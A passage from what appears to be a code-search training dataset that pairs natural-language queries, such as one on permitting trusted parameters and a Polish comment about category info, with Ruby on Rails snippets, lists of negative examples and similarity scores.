"def setup\n transition_to(:setup)\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def _handle_action_missing(*args); end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def duas1(action)\n action.call\n action.call\nend"
] | [
"0.6163821",
"0.6045432",
"0.5945441",
"0.5916224",
"0.58894575",
"0.5834073",
"0.57764685",
"0.5702474",
"0.5702474",
"0.5653258",
"0.56211996",
"0.54235053",
"0.5410683",
"0.5410683",
"0.5410683",
"0.53948104",
"0.5378064",
"0.5356684",
"0.53400385",
"0.53399503",
"0.53312254",
"0.53121567",
"0.52971965",
"0.52964705",
"0.52956307",
"0.52587366",
"0.52450675",
"0.5237777",
"0.5237777",
"0.5237777",
"0.5237777",
"0.5237777",
"0.5233381",
"0.52325714",
"0.52288216",
"0.52229726",
"0.5218362",
"0.52142864",
"0.5207988",
"0.5206337",
"0.51762295",
"0.51745105",
"0.51728606",
"0.516616",
"0.5161016",
"0.5157393",
"0.5152562",
"0.51524293",
"0.5152397",
"0.5144533",
"0.513982",
"0.51342106",
"0.5113793",
"0.5113793",
"0.5113671",
"0.51092553",
"0.51062804",
"0.50921935",
"0.5088855",
"0.5082236",
"0.5079901",
"0.5066569",
"0.5055307",
"0.5053106",
"0.50499666",
"0.50499666",
"0.5035068",
"0.50258636",
"0.50220853",
"0.5015893",
"0.50134486",
"0.5001442",
"0.50005543",
"0.4998581",
"0.49901858",
"0.49901858",
"0.4986648",
"0.49809486",
"0.49792925",
"0.4978855",
"0.49685496",
"0.49656174",
"0.49576473",
"0.49563017",
"0.4955349",
"0.49536878",
"0.4952439",
"0.49460214",
"0.494239",
"0.49334687",
"0.49315962",
"0.49266812",
"0.49261138",
"0.4925925",
"0.4922542",
"0.4920779",
"0.49173284",
"0.49169463",
"0.4916256",
"0.49162322",
"0.49156886"
] | 0.0 | -1 |
Only allow a list of trusted parameters through. | def post_params
params.require(:post).permit(:title, :user_id, :body)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def valid_params?; end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def params(list)\n @declared_params = list\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def safelist; end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def url_allowlist; end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] | [
"0.6949874",
"0.68134874",
"0.6803973",
"0.6796339",
"0.6746466",
"0.67413056",
"0.6527813",
"0.6520603",
"0.64913523",
"0.64299726",
"0.64299726",
"0.64299726",
"0.6399997",
"0.63564914",
"0.63551056",
"0.6347068",
"0.6344981",
"0.63384986",
"0.6325687",
"0.6325687",
"0.6325687",
"0.6314903",
"0.6300541",
"0.62646484",
"0.62607753",
"0.6259007",
"0.623466",
"0.6228664",
"0.6222041",
"0.6221916",
"0.6209851",
"0.6199643",
"0.6196881",
"0.61739427",
"0.6156871",
"0.61568093",
"0.61517763",
"0.6137683",
"0.6122734",
"0.611054",
"0.6074604",
"0.60709006",
"0.6062526",
"0.6055245",
"0.6044704",
"0.6034968",
"0.6019837",
"0.60177326",
"0.6015398",
"0.60104036",
"0.6009325",
"0.60079825",
"0.6006833",
"0.60058016",
"0.60058016",
"0.59971637",
"0.59937596",
"0.59918183",
"0.5984017",
"0.5970219",
"0.5969403",
"0.5965447",
"0.5965072",
"0.59621584",
"0.5961386",
"0.59347796",
"0.59290254",
"0.5923141",
"0.5908738",
"0.590465",
"0.5902968",
"0.5892918",
"0.5888768",
"0.5881073",
"0.5881073",
"0.5881073",
"0.58738226",
"0.586262",
"0.5853917",
"0.58443844",
"0.5844208",
"0.58357656",
"0.58310676",
"0.58288974",
"0.582813",
"0.5817468",
"0.5815601",
"0.5814751",
"0.5809877",
"0.58035356",
"0.58035356",
"0.5799158",
"0.579594",
"0.5785045",
"0.57812995",
"0.57785386",
"0.5774357",
"0.5767679",
"0.57675225",
"0.57624245",
"0.57570404"
] | 0.0 | -1 |
pobiera info dla konkretnej kategorii | def do_get_category_path(category_id)
message = {session_id: @client.session_handle, category_id: category_id}
@client.call(:do_get_category_path, message: message)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def category\n @data['category']\n end",
"def category\n data['category']\n end",
"def get_category_info\n category = self.category_id\n return Category.find_by_id(category)\n end",
"def category_name \n\tself.category.name \n end",
"def categories\n Hash[self.class.catalogs.map { |fld, klass|\n name = fld.gsub(/_id$/, '_name');\n [fld, {:id => self.send(fld), :name => self.send(name)}] rescue nil\n }.reject {|cat| cat.nil?}]\n end",
"def categories\n category\n end",
"def category\n @ole.Category\n end",
"def category16\n return @category16\n end",
"def categories_list\n self.categories.collect{|c| c.name}\n end",
"def get_nome_categoria(id)\n category = Category.find(id)\n\n @category_name = category.nome\n\n return @category_name\n end",
"def category; end",
"def category\n\n User.find(@toko.user_id).produks.each do |produk|\n @cat = produk.category_id\n end\n end",
"def category22\n return @category22\n end",
"def categoria_nombre\n categoria.try(:categoria_nombre)\n end",
"def categories\n raw_categories.to_hashugar\n end",
"def categoryname\n\t\t\tcategory.category_name\n\t\tend",
"def category_names\n self.categories.map do |category|\n category.name\n end\n end",
"def category_name\n category.name\n end",
"def name\n description_category\n end",
"def category21\n return @category21\n end",
"def categoria_por_nivel\n if taxon.present? && params[:cat].present? && params[:nivel].present?\n # Aplica el query para los descendientes\n self.taxones = taxones.where(\"#{Especie.attribute_alias(:ancestry_ascendente_directo)} LIKE '%,#{taxon.id},%'\")\n\n # Se limita la busqueda al rango de categorias taxonomicas de acuerdo al nivel\n self.taxones = taxones.nivel_categoria(params[:nivel], params[:cat])\n end\n end",
"def category_name \n self.category ? self.category.name : nil\n end",
"def category_descriptions\n return @category_descriptions\n end",
"def category_info\n {\n categories: self.object.appointments.map{ |appt| \n appt.category\n }\n \n }\n end",
"def type\n self.category\n end",
"def category12\n return @category12\n end",
"def category_name\n category.name if category\n end",
"def all_categories\n end",
"def category_type\n object.category.main_cat\n end",
"def get_category id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get CATEGORIES, id )\n\t\t\t\tend",
"def category18\n return @category18\n end",
"def category_name(product)\n\t\tproduct.category ? product.category.name : \"Category not set\"\n\tend",
"def set_visual_info ()\n classes = ''\n\n ct = self.category_type\n ct && ct !~ /unknown/i &&\n classes << \" type_\" + ct.gsub( /[^a-zA-Z0-9\\-_]+/, '_' )\n\n classes << \" \" + to_css_class(self.category)\n\n self.css_classes = classes\n self.block_label = \"#{self.title}:<br/> #{self.subtitle}\"\n end",
"def category23\n return @category23\n end",
"def category24\n return @category24\n end",
"def categories\n rpg_shop.handled_categories\n end",
"def category_label\n Categories::LABELS[category]\n end",
"def category\n client.categories.find(data[\"categoryId\"])\n end",
"def ffck_categories_detailed()\n ['Pitchoun', 'Poussin 1', 'Poussin 2', 'Benjamin 1', 'Benjamin 2', 'Minime 1', 'Minime 2', 'Cadet 1', 'Cadet 2',\n 'Junior 1', 'Junior 2', 'Senior', 'Veteran 1', 'Veteran 2', 'Veteran 3', 'Veteran +', 'Inconnu']\n end",
"def category6\n return @category6\n end",
"def fresh_categories\n # these are the categories that will be displayed by default\n # in the html view\n return {\n \"speakerData\" => {\"label\" => \"Character Direct Speech\", \"data\" => []},\n \"indirectData\" => {\"label\" => \"Character Indirect Diction\", \"data\" => []},\n \"traitData\" => {\"label\" => \"Trait: Character Type\", \"data\" => []}, \n \"genderData\" => {\"label\" => \"Trait: Character Sex\", \"data\" => []},\n \"maritalStateData\" => {\"label\" => \"Trait: Character Marriage Status\", \"data\" => []},\n \"socecStatusData\" => {\"label\" => \"Trait: Character Class Status\", \"data\" => []},\n \"ageData\" => {\"label\" => \"Trait: Character Age\", \"data\" => []},\n \"occupationData\" => {\"label\" => \"Trait: Character Occupation\", \"data\" => []},\n }\nend",
"def category\n revision.category\n end",
"def category\n return @category\n end",
"def category\n return @category\n end",
"def category\n return @category\n end",
"def category\n return @category\n end",
"def category\n return @category\n end",
"def category\n return @category\n end",
"def category9\n return @category9\n end",
"def categorized_list\n %w[artist copyright character meta general]\n end",
"def category11\n return @category11\n end",
"def categories\n parsed_json['data']\n end",
"def category_name\n object.category.name rescue \"\"\n end",
"def categories\n []\n end",
"def categories\n category_keys.collect(&:to_s)\n end",
"def category_name\n category.try(:name)\n end",
"def title\n @category.split(':')[@depth-1].to_s.strip\n end",
"def show\n @title = 'Categories'\n @recipes = @category.recipes.each{|c| [c.name, c.id] }\n end",
"def label\n self.category.nil? ? nil : self.category.label\n end",
"def category13\n return @category13\n end",
"def category\n categories.collect(&:title).join(',')\n end",
"def categories\n return @categories\n end",
"def categories\n return @categories\n end",
"def categories\n return @categories\n end",
"def category19\n return @category19\n end",
"def category\n # only returns first category currently\n if self.categories.empty?\n 1\n else\n self.categories[0] unless self.categories.empty?\n end\n end",
"def category_name\n category = Category.find_by_id(self.category_id)\n return category.name\n end",
"def category_types\n @category_types.each\n end",
"def set_category\n end",
"def set_categorium\n @categorium = Categoria.find(params[:id])\n end",
"def getProductCategoryObjName\r\n\t\t\treturn \"mfiforce__Product_Category__c\"\r\n\t\tend",
"def get_category\n current_category = self.category.name\n end",
"def categories\n taxonomies.all :conditions => { :classification => :category }\n end",
"def category20\n return @category20\n end",
"def list_categories\n Category.all.each.with_index(1) {|x, i| puts \"#{i}. #{x.name}\"} #Scraper.categories.each.with_index(1) {|category, i| puts \"#{i}. #{category[0]}\"}\n puts \"select the number of the category you would like to browse or type 'exit'\"\n end",
"def category\n self.item.category\n end",
"def representative_categories\n @representative_categories ||= Fotolia::RepresentativeCategories.new(self)\n end",
"def show\n @category = Category.find(params[:id])\n @title = \"Категория: \" << @category.title\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end",
"def categories()\n @web.get('http://www.waymarking.com/cat/categorydirectory.aspx') do |page|\n ile = 0\n #puts page.parser.to_html.to_s\n cache = {}\n\n page.parser.css('div#content div.gutter a').each do |cat|\n href = cat.attr('href')\n m = Category::GUID_REGEXP.match href\n key = Waymarking::Utils.parameterize(cat.text)\n unless m.nil? then\n ile +=1\n raise DuplicatedCategory if cache.has_key? key\n\n cache[key] = m[1]\n #puts \"#{ile} #{key} #{cat.text} #{m[1]}\"\n else\n puts href\n end\n\n end\n\n cache2 = {}\n cache.keys.each do |key|\n @web.get(\"http://www.waymarking.com/cat/details.aspx?f=1&guid=#{cache[key]}&exp=True\") do |page2|\n begin\n cat = Waymarking::Category.from_html(page2)\n cache2[key] = cat\n rescue\n puts key\n end\n end\n end\n\n File.open('categories.yml', 'w') do |f|\n f.write YAML::dump(cache2)\n end\n end\n end",
"def set_categor\n @categor = Categor.find(params[:id])\n end",
"def category25\n return @category25\n end",
"def category_name\n !self.category.nil? ? self.category.name : \"\"\n end",
"def set_categoriaproduto\n @categoriaproduto = Categoriaproduto.find(params[:id])\n end",
"def get_categories\n cats = []\n params.each do |k,v|\n if k.starts_with? \"category\"\n name = v\n num = cat_number(k) \n cats << [name,num]\n end\n end\n return cats\n end",
"def category17\n return @category17\n end",
"def index\n @mk_categories = MkCategoria.all\n end",
"def category2\n return @category2\n end",
"def details\n {\n groups: categorized_groups,\n internal_name: tag.title_including_parent,\n }\n end",
"def category_lister\n Category.all.each_with_index do |cat, idx|\n puts \"#{idx + 1}: #{cat.name}\"\n end\n end",
"def set_categ\n @categ = Categ.find(params[:id])\n end",
"def category1\n return @category1\n end",
"def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend",
"def category15\n return @category15\n end",
"def set_categories\n @categories = {}\n @mechanize.page.search('//*[@id=\"prtcalst\"]//li').each do |cat|\n cat_link = cat.search('a')[0]\n cat_name = cat.search('.//em')[0].inner_text()\n catObj = Category.new()\n catObj.elem = cat_link\n catObj.name = cat_name\n @categories[cat_name] = catObj\n\n puts(\"#{cat_name}\")\n puts(\"-------------------\")\n end\n end",
"def category_titles\n categories.map(&:title)\n end",
"def show_category_name\n return @show_category_name\n end",
"def category_names\n categories.map {|category| CategoryCode[category]}\n end",
"def show\n @category = @item.category\n end",
"def category\n @category ||= ''\n end",
"def category10\n return @category10\n end",
"def set_mk_categoria\n @mk_categoria = MkCategoria.find(params[:id])\n end"
] | [
"0.68406093",
"0.6692206",
"0.65562475",
"0.6542541",
"0.6516095",
"0.6446168",
"0.6439527",
"0.6376017",
"0.6368283",
"0.63665587",
"0.63169736",
"0.63137585",
"0.6308047",
"0.63002276",
"0.6273838",
"0.62710685",
"0.62641615",
"0.62586457",
"0.625352",
"0.6245697",
"0.6239142",
"0.6236267",
"0.6229611",
"0.6205268",
"0.6193818",
"0.61880344",
"0.6174339",
"0.6159212",
"0.6155102",
"0.6124218",
"0.61180615",
"0.6116961",
"0.6105482",
"0.60845387",
"0.6080546",
"0.6077156",
"0.60736287",
"0.6067696",
"0.60659146",
"0.60626125",
"0.60503304",
"0.6043296",
"0.60332465",
"0.60332465",
"0.60332465",
"0.60332465",
"0.60332465",
"0.60332465",
"0.6031129",
"0.60218066",
"0.6018524",
"0.6005787",
"0.6004918",
"0.5993133",
"0.5985942",
"0.5981782",
"0.59814477",
"0.5977094",
"0.59748495",
"0.59733456",
"0.59710914",
"0.5958159",
"0.5958159",
"0.5958159",
"0.594311",
"0.5931358",
"0.5929531",
"0.5926229",
"0.5912797",
"0.5912399",
"0.59115034",
"0.59024227",
"0.58971786",
"0.58946943",
"0.58904314",
"0.58887476",
"0.5887405",
"0.5886062",
"0.5883843",
"0.58698887",
"0.5865373",
"0.5865004",
"0.58529466",
"0.58528906",
"0.5852448",
"0.5851293",
"0.58502686",
"0.584126",
"0.5837436",
